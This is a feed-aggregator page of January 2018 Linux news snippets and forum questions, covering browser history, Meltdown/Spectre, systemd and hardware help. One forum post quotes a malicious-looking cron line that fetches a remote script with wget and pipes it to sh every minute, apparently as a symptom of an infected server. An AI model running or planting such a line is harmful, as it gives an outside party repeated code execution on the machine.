Feed aggregator

Chrome and Mozilla (Robert O'Callahan Unlocks Secrets)

tuxmachines.org - Sun, 01/07/2018 - 07:56
  • Robert O'Callahan: Ancient Browser-Wars History: MD5-Hashed Posts Declassified

    Another lesson: in 2007-2008 I was overly focused on toppling IE (and Flash and WPF), and thought having all the open-source browsers sharing a single engine implementation wouldn't be a big problem for the Web. I've changed my mind completely; the more code engines share, the more de facto standardization of bugs we would see, so having genuinely separate implementations is very important.

    I'm very grateful to Brendan and others for disregarding my opinions and not letting me lead Mozilla down the wrong path. It would have been a disaster for everyone.

    To let off steam, and leave a paper trail for the future, I wrote four blog posts during 2007-2008 describing some of my thoughts, and published their MD5 hashes. The aftermath of the successful Firefox 57 release seems like an appropriate time to harmlessly declassify those posts. Please keep in mind that my opinions have changed.

  • On Keeping Secrets

    Once upon a time I was at a dinner at a computer science conference. At that time the existence of Chrome was a deeply guarded secret; I knew of it, but I was sworn to secrecy. Out of the blue, one of my dinner companions turned to me and asked "is Google working on a browser?"


    One thing I really enjoyed about working at Mozilla was that we didn't have many secrets to keep. Most of the secrets I had to protect were about other companies. Minimizing one's secrecy burden generally seems like a good idea, although I can't eliminate it because it's often helpful to other people for them to be able to share secrets with me in confidence.

  • Chrome is turning into the new Internet Explorer 6


    Chrome, in other words, is being used in the same way that Internet Explorer 6 was back in the day — with web developers primarily optimizing for Chrome and tweaking for rivals later. To understand how we even got to this stage, here’s a little (a lot) of browser history. If you want to know why saying "Chrome is the new Internet Explorer 6" is so damning, you have to know why IE6 was a damnable problem in the early ‘00s.

read more

LXer: Linux Journal returns, Automotive Grade Linux at CES, and more open source news

LinuxQuestions.org latest posts - Sun, 01/07/2018 - 07:30
Published at LXer:

In this week[he]#039[/he]s edition of our open source news roundup, we cover the rebirth of Linux Journal, Automotive Grade Linux infotainment systems, and more.


Why does open source have to be free?

LinuxQuestions.org latest posts - Sun, 01/07/2018 - 07:08
It occurs to me that the influx of B2B open source software likely will mean major enterprises get to adopt these valuable products at little to no cost. It seems like these are the people who have all the money and currently have no where to spend it. Am I rejected by the open source community if I propose charging businesses for open source software?

Does anyone have any opinions on what the best product would be? Currently I'm considering:

Wasabi by Intuit
Planout by Facebook
And (the leader for allowing multiple languages) sixpack by Seatgeek

Any feedback is appreciated

Enterprise Software Viability

LinuxQuestions.org latest posts - Sun, 01/07/2018 - 06:27
I've noticed an increase in the open source B2B software available on the market. However it seems like no companies implement other companies open source projects. They just create their own. This has created a glut of software with no real place to go.

I got fired from my last job for suggesting that we open source our product. However, I still think there's viability to an enterprise open source solution in areas like marketing automation, A/B testing, and pretty much any other market you want to enter.

What are the objections you usually hear to implementing open source in the enterprise? I asked this question over a year ago and got security which is of course valid but what else?

LXer: Let's talk advertising

LinuxQuestions.org latest posts - Sun, 01/07/2018 - 05:39
Published at LXer:

This is the first in a series of posts in which members of our still-small staff raise topics for discussion. Since I'm a veteran of both the journalism and advertising businesses, I'll start this discussion.


Security: Meltdown & Spectre, Critical CSRF Security Vulnerability, OpenVPN and More

tuxmachines.org - Sun, 01/07/2018 - 05:02
  • Meltdown & Spectre
  • Meltdown and Spectre Linux Kernel Status

    By now, everyone knows that something “big” just got announced regarding computer security. Heck, when the Daily Mail does a report on it , you know something is bad…

    Anyway, I’m not going to go into the details about the problems being reported, other than to point you at the wonderfully written Project Zero paper on the issues involved here. They should just give out the 2018 Pwnie award right now, it’s that amazingly good.

    If you do want technical details for how we are resolving those issues in the kernel, see the always awesome lwn.net writeup for the details.

    Also, here’s a good summary of lots of other postings that includes announcements from various vendors.

  • Spectre and Meltdown: What you need to know going forward

    As you've likely heard by now, there are some problems with Intel, AMD, and ARM processors. Called Meltdown and Spectre, the discovered attack possibilities are rather severe, as they impact pretty much every technical device on the network or in your house (PCs, laptops, tablets, phones, etc.).

    Here's a breakdown of all the things you need to know. As things change, or new information becomes available, this article will be updated.

    The key thing to remember is not to panic, as the sky isn't about to come crashing down. The situation is one that centers on information disclosure, not code execution (a far more damning issue to deal with).

  • Open Source Leaders: Take Intel to Task

    I do not know Linus Torvalds or Theo de Raadt. I have never met either of them and have read very little about them. What I do know, gleaned from email archives, is when it comes to bum hardware: they both have pretty strong opinions. Both Linus and Theo can be a bit rough around the edges when it comes to giving their thoughts about hardware design flaws: but at least they have a voice. Also, Linus and Theo have often been at odds whether it be about how to approach OS design, licensing etc but I suspect, or I at least have to believe, the latest incident from intel (the Spectre and Meltdown flaws) is one area they agree on.

    Linus and Theo cannot possibly be the only Open Source leaders out there who are frustrated and tired of being jerked around by intel. What I hope comes out of this is not many different voices saying the same thing here and there but instead, perhaps, our various leaders could get together and take intel to task on this issue. Intel not only created a horrible design flaw they lied by omission about it for several months. During those months the Intel CEO quietly dumped his stock. What a hero.

  • Docker Performance With KPTI Page Table Isolation Patches

    Overall most of our benchmarks this week of the new Linux Kernel Page Table Isolation (KPTI) patches coming as a result of the Meltdown vulnerability have showed minimal impact overall on system performance. The exceptions have obviously been with workloads having high kernel interactions like demanding I/O cases and in terms of real-world impact, databases. But when testing VMs there's been some minor impact more broadly than bare metal testing and also Wine performance has been impacted. The latest having been benchmarked is seeing if the Docker performance has been impacted by the KPTI patches to see if it's any significant impact since overall the patched system overhead certainly isn't anything close to how it was initially hyped by some other media outlets.

  • Can We Replace Intel x86 With an Open Source Chip?
  • Critical CSRF Security Vulnerability in phpMyAdmin Database Tool Patched

    A "cross site request forgery" vulnerability in a popular tool for administrating MySQL and MariaDB databases that could lead to data loss has been patched.

  • 8 reasons to replace your VPN client with OpenVPN

    OpenVPN could be the answer. It's an ultra-configurable open source VPN client which works with just about any VPN provider that supports the OpenVPN protocol. It gives you new ways to automate, optimize, control and troubleshoot your connections, and you can use it alongside your existing client, or maybe replace it entirely – it's your call.

  • I’m harvesting credit card numbers and passwords from your site. Here’s how.

read more

systemctl status = degraded

LinuxQuestions.org latest posts - Sun, 01/07/2018 - 04:41
Ubuntu 16.04 LTS server. Found my systemctl state as degraded. Narrowed to one failed service. This is the service.

I'm at a loss. It may be meaningless. Everything seems to work fine. But it does annoy me. Any suggestions?

Code: jason@failbox:~$ systemctl status session-2.scope
● session-2.scope - Session 2 of user mcserver
  Loaded: loaded
Transient: yes
  Drop-In: /run/systemd/system/session-2.scope.d
          └─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Descrip
  Active: failed (Result: resources)

Jan 05 15:34:43 failbox systemd[1]: session-2.scope: Failed to add PIDs to scope's control group: No such process
Jan 05 15:34:43 failbox systemd[1]: Failed to start Session 2 of user mcserver.
Jan 05 15:34:43 failbox systemd[1]: session-2.scope: Unit entered failed state.

LXer: Where Do I Start?

LinuxQuestions.org latest posts - Sun, 01/07/2018 - 03:39
Published at LXer:

For the past few years, the bulk of my consulting work has been incorporate training. Many of the participants in my courses are peoplewho have been developing software for years already and simply wantto learn new languages and techniques.


Vim8 - difficulty installing vim-markdown plugin

LinuxQuestions.org latest posts - Sun, 01/07/2018 - 03:01
Code: # uname -a
Linux fir 4.14.9-calculate #1 SMP PREEMPT Thu Dec 28 10:52:39 UTC 2017 x86_64 AMD Athlon(tm) II X4 640 Processor AuthenticAMD GNU/Linux

# vim --version
VIM - Vi IMproved 8.0 (2016 Sep 12, compiled Dec 22 2017 12:25:57)
I don't think I have ever installed a vim plugin before. I am finding it surprisingly difficult.

The plugin I am trying to install is: vim-markdown

I created a ~/.vim/bundle/ directory, and cloned the package into that directory.

Code: ~/.vim/bundle $ git clone https://github.com/plasticboy/vim-markdown.git Seemed to work.

As I understand it, I am supposed to edit ~/.vimrc and set a runtimepath to the markdown.vim file. Like this:

Code: set runtimepath^=~/.vim/bundle/vim-markdown/. . ./markdown.vim Problem is: there are several markdown.vim files.

Code: ~/.vim/bundle/vim-markdown $ find . -name "markdown.vim" -print
Am I supposed to create runtimepaths to all of them? Or am I doing this completely wrong?

Unnecessary cronjobs are enabling.

LinuxQuestions.org latest posts - Sun, 01/07/2018 - 02:39

In Linux server some unnecessary cronjobs are creating and enabling by itself ,even after deleting those jobs its getting created after sometime,because of this some other .sh services
running in machine are halting automatically.Please help me out to resolve this.
I wanna know is there anything to force disable cronjobs automatically.
EX:* * * * * wget -q edited out -O - | sh

Root user radically faster than main user

LinuxQuestions.org latest posts - Sun, 01/07/2018 - 02:16
I took a scrot of something as root and noticed that I couldn't access it from my normal Lysander login. It must have gone into the root account, I thought. I logged into root [couldn't work out how to open the image as root in the terminal from my user account] and root was noticeably quicker.

All programs [save LibreOffice] opened almost instantly. Also the desktop setup was radically different, a standard LXDE setup. It actually didn't look half bad.

Now, this netbook is partitioned as /root, /home and /swap. when I installed Slackware over Debian I just installed it onto /root, I didn't format /home. Is is possible that settings have been saved from my previous Debian install on /home and that is slowing things down? Should I format /home while leaving /root as it is?

Startup Question

LinuxQuestions.org latest posts - Sun, 01/07/2018 - 01:58
Hello guys,

Been away from Debian since Etch and I'm messing around with Jessie now. A lot of changes since I last used Debian. I have a question about startup.

With Etch startup the console would scroll several pages of kernel output then stop at the bottom with a login prompt. It left the scrollback buffer intact allowing me to review output. I found it handy for checking things when building custom kernels. I know I can use dmesg, but I could actually go back further with the scrollback buffer, all the way to the last page of BIOS output.

Is there any way in Jessie I can get that same behavior? Jessie resets the terminal and and flushes the buffer when the console shell starts up.

Solaris 11.4 To Move From GNOME 2 Desktop To GNOME Shell

tuxmachines.org - Sun, 01/07/2018 - 01:46

For those happening to use Oracle Solaris on desktops/workstations, Solaris 11.4 will finally be making the transition from GNOME 2 to the GNOME 3.24 Shell.

GNOME Shell has been the default GNOME user interface since 2011 while with the upcoming Solaris 11.4 update is when Oracle is finally making the plunge from GNOME 2.x to GNOME 3.24. Longtime Sun/Solaris developer Alan Coopersmith confirmed, "Gnome Shell is coming in Solaris 11.4, which upgrades GNOME to version 3.24."

read more

LXer: How governments and citizens used open source to solve human problems in 2017

LinuxQuestions.org latest posts - Sun, 01/07/2018 - 01:41
Published at LXer:

Each year, when we look back at the top government articles on Opensource.com, we see interesting case studies of government technology policies or implementations. Our most popular stories from 2017 aren't about adopting open source to solve technology problems. Instead, they demonstrate how governments and citizens are coming together through open source to solve human problems.1. Why we need an open model to design and evaluate public policyread more


Back using Linux

LinuxQuestions.org latest posts - Sun, 01/07/2018 - 01:33
Hi folks, first post here.

I'm not really a new Linux user, I installed my first Linux system when Debian still had a one at the top of the version number. Though I've come and gone with it. Last go I had was with Etch and was really happy with the system. I just never made the jump in finding replacements for my Windows apps so it ended up on the shelf for some years.

So now I'm back at it and I'm playing around with Jessie. Boy things have changed in my time away, grub, systemd, disk-by-ID, and all kinds of other advancements. Understanding how this new system works is going to be a bit more challenging. First thing I'd like to do is get the startup looking the way it did in Etch. I have a question or two about that I'll ask in another section.

4MLinux 23.2 released.

tuxmachines.org - Sun, 01/07/2018 - 01:24

This is a minor (point) release in the 4MLinux STABLE channel, which comes with the Linux kernel 4.9.75 (*). The 4MLinux Server now includes Apache 2.4.29, MariaDB 10.2.11, and PHP 7.0.26 (see this post for more details). Additionally, some popular programs (Audacity, Chromium, VLC) have been updated, too. 4MLinux 23.2 includes bugfixes for VLC (which now plays the "https" network streams correctly) and Chromium (restored good sound quality).

You can update your 4MLinux by executing the "zk update" command in your terminal (fully automatic process).

read more

CPU GPU wonkyness

LinuxQuestions.org latest posts - Sun, 01/07/2018 - 00:13
Ok so a bit of rambling. Recently my display has been switching to black for a few seconds then relighting with a display showing it reacquired the digital signal. I was thinking either the video card was going bad or the power supply so I started watching the temps religiously. I noticed that when watching video (netflix mainly) in a window cpu temps would rise, sometimes very high but gpu temps would stay pretty steady but when moving to fullscreen the cpu temps actually decreased and the gpu temps pegged at 55c and upwards. Still not really knowing what was up I tried some driver upgrades and on rebooting got the dreaded multiple beeping. Hooking up a spare PSU temporarily got the machine back up but now all the temps seemed a bit higher than before. I eventually built a new system and now all the temps are great but there was one last thing to note. While spending quite some time at the console (no X) I then entered X and the GPU was pegged at 57c. Why would the gpu be running at max when using the console. This occurs on both old and new systems.

Old System:
AMD phenom x4 9850
Nvidia 760 ti gfx card with the nvidia proprietary driver.
4 g of ram

New System
Intel i5 2600
16 g of ddr4
same gfx for the moment, the new one hasn't arrived yet.

LXer: January 2018 catalog of hacker-friendly SBCs

LinuxQuestions.org latest posts - Sat, 01/06/2018 - 23:43
Published at LXer:

This catalog accompanies our January 2018 round-up of hacker-friendly SBCs. Here, we provide brief descriptions, specs, pricing, and links to further details for all 103 SBCs. Our January 2018 hacker-friendly single board computer round-up comprises three resources: an overview of recent SBC market trends; this catalog, which provides descriptions, specs, pricing, and links to related […]


Conexant cx24120/cx24118 dvbs

LinuxQuestions.org latest posts - Sat, 01/06/2018 - 23:20
Hi everyone
I have a Conexant CX24120/CX24118 dvb-s tv card under Ubuntu 17.10 64X system.I think its allready installed.
But there is no device called /dev/video0 and most of the softwares are working with this device how could we activate this device?

Code: $ uname -a
Linux whynot-Bus 4.13.0-21-generic #24-Ubuntu SMP Mon Dec 18 17:29:16 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux Code: $ ls /dev/dvb/adapter0/
ca0  demux0  dvr0  frontend0 Code: $ lspci -vvv | grep -i "SkyStar"
07:02.0 Network controller: Techsan Electronics Co Ltd B2C2 FlexCopII DVB chip / Technisat SkyStar2 DVB card (rev 02)
        Subsystem: Techsan Electronics Co Ltd B2C2 FlexCopII DVB chip / Technisat SkyStar2 DVB card Code: $ dmesg | grep DVB
[  29.940245] dvbdev: DVB: registering new adapter (FlexCop Digital TV device)
[  32.209969] cx24120: Conexant cx24120/cx24118 - DVBS/S2 Satellite demod/tuner
[  33.382806] b2c2_flexcop_pci 0000:07:02.0: DVB: registering adapter 0 frontend 0 (Conexant CX24120/CX24118)...
[  33.382852] b2c2-flexcop: initialization of 'Sky2PC/SkyStar S2 DVB-S/S2 rev 3.3' at the 'PCI' bus controlled by a 'FlexCopIIb' complete Code: $ dmesg | grep -i b2c2
[  29.887679] b2c2-flexcop: B2C2 FlexcopII/II(b)/III digital TV receiver chip loaded successfully
[  29.941797] b2c2-flexcop: MAC address = 00:08:f9:e1:ac:0f
[  33.382801] b2c2-flexcop: ISL6421 successfully attached.
[  33.382803] b2c2-flexcop: found 'Conexant CX24120/CX24118' .
[  33.382806] b2c2_flexcop_pci 0000:07:02.0: DVB: registering adapter 0 frontend 0 (Conexant CX24120/CX24118)...
[  33.382852] b2c2-flexcop: initialization of 'Sky2PC/SkyStar S2 DVB-S/S2 rev 3.3' at the 'PCI' bus controlled by a 'FlexCopIIb' complete Thanks

LXer: Step by step guide to reset root password in Mysql

LinuxQuestions.org latest posts - Sat, 01/06/2018 - 21:54
Published at LXer:

Working with MySQL or MariaDB database, you might have faced a situation where you might have forgotten root or another user’s password or being SysAdmin, you might have had to deal with users who...

Syndicate content